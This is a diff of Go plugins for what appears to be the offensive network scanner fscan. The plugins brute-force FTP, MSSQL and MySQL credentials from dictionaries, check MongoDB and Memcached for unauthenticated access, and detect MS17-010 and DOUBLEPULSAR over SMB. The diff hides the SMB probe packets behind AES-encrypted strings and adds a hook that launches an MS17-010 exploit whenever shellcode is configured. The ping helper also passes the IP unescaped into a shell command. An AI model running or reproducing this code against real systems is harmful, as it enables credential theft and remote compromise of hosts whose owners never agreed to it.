// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(c.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}
+49 -7
View File
@@ -5,7 +5,7 @@ import (
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strconv"
"strings"
"time"
)
@@ -23,15 +23,15 @@ func Findnet(info *common.HostInfo) error {
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return err
}
_, err = conn.Write(bufferV1)
if err != nil {
return err
@@ -63,11 +63,53 @@ func FindnetScan(info *common.HostInfo) error {
err = read(text, info.Host)
return err
}
func HexUnicodeStringToString(src string) string {
sText := ""
if len(src)%4 != 0 {
src += src[:len(src)-len(src)%4]
}
for i := 0; i < len(src); i = i + 4 {
sText += "\\u" + src[i+2:i+4] + src[i:i+2]
}
textUnquoted := sText
sUnicodev := strings.Split(textUnquoted, "\\u")
var context string
for _, v := range sUnicodev {
if len(v) < 1 {
continue
}
temp, err := strconv.ParseInt(v, 16, 32)
if err != nil {
return ""
}
context += fmt.Sprintf("%c", temp)
}
return context
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
hn := ""
for i := 0; i < len(encodedStr)-4; i = i + 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hn += encodedStr[i : i+4]
}
var name string
name = HexUnicodeStringToString(hn)
hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000")
result := "NetInfo:\n[*]" + host
result := "[*] NetInfo \n[*]" + host
if name != "" {
result += "\n [->]" + name
}
hostname = hostname[1:]
for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i])
+10 -7
View File
@@ -9,12 +9,15 @@ import (
)
func FtpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "")
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
@@ -26,16 +29,16 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -47,12 +50,12 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
flag = true
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
+236 -117
View File
@@ -5,62 +5,92 @@ import (
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"log"
"net"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
"sync"
"time"
)
var AliveHosts []string
var (
AliveHosts []string
ExistHosts = make(map[string]struct{})
livewg sync.WaitGroup
)
var SysInfo = GetSys()
func CheckLive(hostslist []string, Ping bool) []string {
chanHosts := make(chan string, len(hostslist))
go func() {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if common.Silent == false {
if Ping == false {
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
} else {
fmt.Printf("(ping) Target %-15s is alive\n", ip)
}
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}()
type SystemInfo struct {
OS string
HostName string
Groupid string
Userid string
Username string
}
func GetSys() SystemInfo {
var sysinfo SystemInfo
sysinfo.OS = runtime.GOOS
name, err := os.Hostname()
if err == nil {
sysinfo.HostName = name
if Ping == true {
//使用ping探测
RunPing(hostslist, chanHosts)
} else {
name = "none"
//优先尝试监听本地icmp,批量探测
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
} else {
common.LogError(err)
//尝试无监听icmp探测
fmt.Println("trying RunIcmp2")
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err == nil {
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
}
}
}
u, err := user.Current()
if err == nil {
sysinfo.Groupid = u.Gid
sysinfo.Userid = u.Uid
sysinfo.Username = u.Username
} else {
sysinfo.Groupid = "1"
sysinfo.Userid = "1"
sysinfo.Username = name
livewg.Wait()
close(chanHosts)
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
common.LogSuccess(output)
}
}
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
common.LogSuccess(output)
}
}
return sysinfo
return AliveHosts
}
func IcmpCheck(hostslist []string) {
TmpHosts := make(map[string]struct{})
var chanHosts = make(chan string)
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
if err != nil {
log.Fatal(err)
}
go func() {
for {
if endflag == true {
@@ -69,52 +99,112 @@ func IcmpCheck(hostslist []string) {
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
go func() {
for ip := range chanHosts {
if _, ok := TmpHosts[ip]; !ok {
TmpHosts[ip] = struct{}{}
if common.Silent == false {
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
}
AliveHosts = append(AliveHosts, ip)
}
}
}()
for _, host := range hostslist {
write(host, conn)
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
if len(hostslist) > 255 {
time.Sleep(6 * time.Second)
} else {
time.Sleep(3 * time.Second)
//根据hosts数量修改icmp监听时间
start := time.Now()
for {
if len(AliveHosts) == len(hostslist) {
break
}
since := time.Since(start)
var wait time.Duration
switch {
case len(hostslist) <= 256:
wait = time.Second * 3
default:
wait = time.Second * 6
}
if since > wait {
break
}
}
endflag = true
close(chanHosts)
conn.Close()
}
func write(ip string, conn *icmp.PacketConn) {
dst, _ := net.ResolveIPAddr("ip", ip)
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
conn.WriteTo(IcmpByte, dst)
func RunIcmp2(hostslist []string, chanHosts chan string) {
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
close(limiter)
}
func ExecCommandPing(ip string, bsenv string) bool {
func icmpalive(host string) bool {
startTime := time.Now()
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
}
func ExecCommandPing(ip string) bool {
var command *exec.Cmd
if SysInfo.OS == "windows" {
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
default: //linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{}
command.Stdout = &outinfo
@@ -125,7 +215,7 @@ func ExecCommandPing(ip string, bsenv string) bool {
if err = command.Wait(); err != nil {
return false
} else {
if strings.Contains(outinfo.String(), "true") {
if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 {
return true
} else {
return false
@@ -133,59 +223,88 @@ func ExecCommandPing(ip string, bsenv string) bool {
}
}
func PingCMDcheck(hostslist []string, bsenv string) {
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if ExecCommandPing(host, bsenv) {
mutex.Lock()
if common.Silent == false {
fmt.Printf("(Ping) Target '%s' is alive\n", host)
}
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait()
func makemsg(host string) []byte {
msg := make([]byte, 40)
id0, id1 := genIdentifier(host)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4], msg[5] = id0, id1
msg[6], msg[7] = genSequence(1)
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8)
msg[3] = byte(check & 255)
return msg
}
func ICMPRun(hostslist []string, Ping bool) []string {
if SysInfo.OS == "windows" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "")
}
} else if SysInfo.OS == "linux" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer := uint16(^sum)
return answer
}
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8)
ret2 := byte(v & 255)
return ret1, ret2
}
func genIdentifier(host string) (byte, byte) {
return host[0], host[1]
}
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
arrMap1 := make(map[string]int)
arrMap2 := make(map[string]int)
for _, value := range arrInit {
line := strings.Split(value, ".")
if len(line) == 4 {
if flag {
value = fmt.Sprintf("%s.%s", line[0], line[1])
} else {
PingCMDcheck(hostslist, "/bin/bash")
value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} else if SysInfo.OS == "darwin" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
if arrMap1[value] != 0 {
arrMap1[value]++
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
arrMap1[value] = 1
}
}
return AliveHosts
for k, v := range arrMap1 {
arrMap2[k] = v
}
i := 0
for range arrMap1 {
var maxCountKey string
var maxCountVal = 0
for key, val := range arrMap2 {
if val > maxCountVal {
maxCountVal = val
maxCountKey = key
}
}
arrTop = append(arrTop, maxCountKey)
arrLen = append(arrLen, maxCountVal)
i++
if i >= length {
return
}
delete(arrMap2, maxCountKey)
}
return
}
+7 -4
View File
@@ -3,16 +3,20 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if client != nil {
client.Close()
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
@@ -23,7 +27,6 @@ func MemcachedScan(info *common.HostInfo) (err error) {
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
common.LogSuccess(result)
}
client.Close()
} else {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
+57 -29
View File
@@ -2,14 +2,15 @@ package Plugins
import (
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MongodbScan(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
@@ -20,39 +21,66 @@ func MongodbScan(info *common.HostInfo) error {
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
// op_msg
packet1 := []byte{
0x69, 0x00, 0x00, 0x00, // messageLength
0x39, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
0x00, 0x00, 0x00, 0x00, // flagBits
// sections db.adminCommand({getLog: "startupWarnings"})
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
}
//op_query
packet2 := []byte{
0x48, 0x00, 0x00, 0x00, // messageLength
0x02, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
0x00, 0x00, 0x00, 0x00, // flags
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
0x00, 0x00, 0x00, 0x00, // numberToSkip
0x01, 0x00, 0x00, 0x00, // numberToReturn
// query db.adminCommand({getLog: "startupWarnings"})
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
checkUnAuth := func(address string, packet []byte) (string, error) {
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return "", err
}
defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return "", err
}
_, err = conn.Write(packet)
if err != nil {
return "", err
}
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return "", err
}
return string(reply[0:count]), nil
}
defer conn.Close()
_, err = conn.Write(senddata)
// send OP_MSG first
reply, err := checkUnAuth(realhost, packet1)
if err != nil {
return flag, err
}
buf := make([]byte, 1024)
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "ismaster") {
_, err = conn.Write(getlogdata)
reply, err = checkUnAuth(realhost, packet2)
if err != nil {
return flag, err
}
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
common.LogSuccess(result)
}
}
if strings.Contains(reply, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost)
common.LogSuccess(result)
}
return flag, err
}
File diff suppressed because it is too large Load Diff
+24 -14
View File
@@ -6,20 +6,27 @@ import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
var (
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key))
sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key))
treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key))
transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key))
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
)
func MS17010(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
err := MS17010Scan(info)
if err != nil {
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
@@ -29,16 +36,15 @@ func MS17010(info *common.HostInfo) error {
}
func MS17010Scan(info *common.HostInfo) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
@@ -81,7 +87,7 @@ func MS17010Scan(info *common.HostInfo) error {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("invalid session setup AndX response")
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
@@ -124,8 +130,13 @@ func MS17010Scan(info *common.HostInfo) error {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)
common.LogSuccess(result)
defer func() {
if common.SC != "" {
MS17010EXP(info)
}
}()
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
@@ -141,13 +152,12 @@ func MS17010Scan(info *common.HostInfo) error {
}
if reply[34] == 0x51 {
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip)
common.LogSuccess(result)
}
} else {
result := fmt.Sprintf("[*] %s (%s)", ip, os)
result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)
common.LogSuccess(result)
}
return err
+8 -5
View File
@@ -10,6 +10,9 @@ import (
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
@@ -24,7 +27,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -36,16 +39,16 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
+8 -5
View File
@@ -10,6 +10,9 @@ import (
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mysql"] {
